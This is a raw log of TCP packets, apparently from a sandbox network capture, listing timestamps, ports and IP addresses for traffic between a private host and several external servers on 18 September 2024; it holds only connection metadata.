Sep 18, 2024 14:30:08.604780912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604793072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604794979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604818106 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604819059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604832888 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604862928 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.605880976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.605937958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.605951071 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.605989933 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606031895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606044054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606065989 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606070042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606081963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606084108 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606093884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606098890 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606112957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606128931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606152058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606163979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606174946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606187105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606193066 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.606199026 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606210947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606216908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.606240988 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.606291056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.606303930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606317043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606328011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606328011 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.606342077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606354952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606354952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606368065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606379032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606380939 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606404066 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606414080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606784105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606796026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606806993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606826067 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606829882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606837988 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606848955 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606853962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606865883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606879950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606898069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.606966972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606980085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.606996059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607007980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.607013941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607027054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607032061 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.607039928 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607053041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607063055 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.607064962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.607081890 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.607099056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.608654976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608720064 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.608757019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608769894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608781099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608792067 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608812094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608822107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608825922 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.608825922 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.608835936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.608850002 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.608867884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609421015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609433889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609445095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609472036 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609513044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609556913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609569073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609582901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609596014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609596014 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609626055 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609632015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609642982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609656096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609666109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609690905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609703064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609724045 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609749079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609750032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609775066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609786987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.609828949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.609858990 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.610620022 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:08.610645056 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:08.611017942 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:08.611061096 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:08.612273932 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:08.629024982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629149914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629149914 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629163027 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629177094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629190922 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629206896 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629259109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629298925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629312992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629323006 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629331112 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629333019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629344940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629355907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629364967 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629390955 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629409075 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629475117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629487991 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629499912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629517078 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629518032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629523993 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629532099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629544020 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629545927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629556894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629563093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629568100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629580021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629631996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629656076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629667997 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629681110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629692078 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629719973 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629810095 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629822016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629853010 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629878998 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.629983902 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.629996061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630007982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630017996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630028009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630032063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630043030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630054951 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630057096 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630078077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630098104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630224943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630235910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630265951 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630280972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630409002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630420923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630431890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630443096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630454063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630465031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630471945 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630476952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630495071 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630515099 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630583048 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630595922 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630606890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630625963 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630656958 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630749941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630762100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630774021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630784988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630789995 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630796909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630809069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630817890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630820990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630832911 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630848885 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630863905 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630876064 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.630891085 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.630908012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631067038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631079912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631091118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631098032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631117105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631138086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631252050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631264925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631278038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631302118 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631323099 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631443977 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631455898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631469011 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631479025 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631493092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631510019 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631542921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631685019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631700039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631711960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631724119 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631736040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631738901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631752014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631764889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631767988 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631783962 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631814003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631820917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631834030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.631863117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.631887913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632002115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632014990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632028103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632039070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632046938 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632072926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632188082 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632200956 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632210970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632221937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632234097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632239103 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632246017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632256985 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632272959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632288933 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.632320881 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.632354021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.637018919 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637038946 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637052059 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637141943 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637141943 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637156010 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637176037 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637177944 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637190104 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637202024 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637203932 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637232065 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637250900 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637274981 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637290001 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637315035 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637326002 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637439966 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.637487888 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637667894 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.637691021 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.638058901 CEST	49717	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640083075 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640098095 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640110970 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640124083 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640136003 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640149117 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640187979 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640198946 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640232086 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640381098 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640393972 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640408039 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640428066 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640429020 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640491009 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640491009 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640548944 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.640589952 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640589952 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.640933037 CEST	49718	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.643290043 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.643351078 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.643779993 CEST	80	49717	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.643845081 CEST	49717	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.643955946 CEST	49717	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.644332886 CEST	49719	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.646029949 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.646215916 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.646368027 CEST	80	49718	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.646430969 CEST	49718	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.646569967 CEST	49718	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.646931887 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.646965981 CEST	443	49720	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.647066116 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.647394896 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.647409916 CEST	443	49720	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.649919033 CEST	80	49717	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.650008917 CEST	49717	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.650054932 CEST	80	49719	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.650245905 CEST	49719	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.650245905 CEST	49719	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.650571108 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.650593042 CEST	443	49721	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.650644064 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.651129961 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.651138067 CEST	443	49721	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.652468920 CEST	80	49718	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.652546883 CEST	49718	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.655409098 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:08.655653000 CEST	80	49719	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.655952930 CEST	49719	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.668175936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668196917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668210030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668222904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668237925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668243885 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.668251038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668265104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.668266058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668313026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.668468952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668482065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668495893 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.668507099 CEST	80	49703	176.113.115.33	192.168.2.7
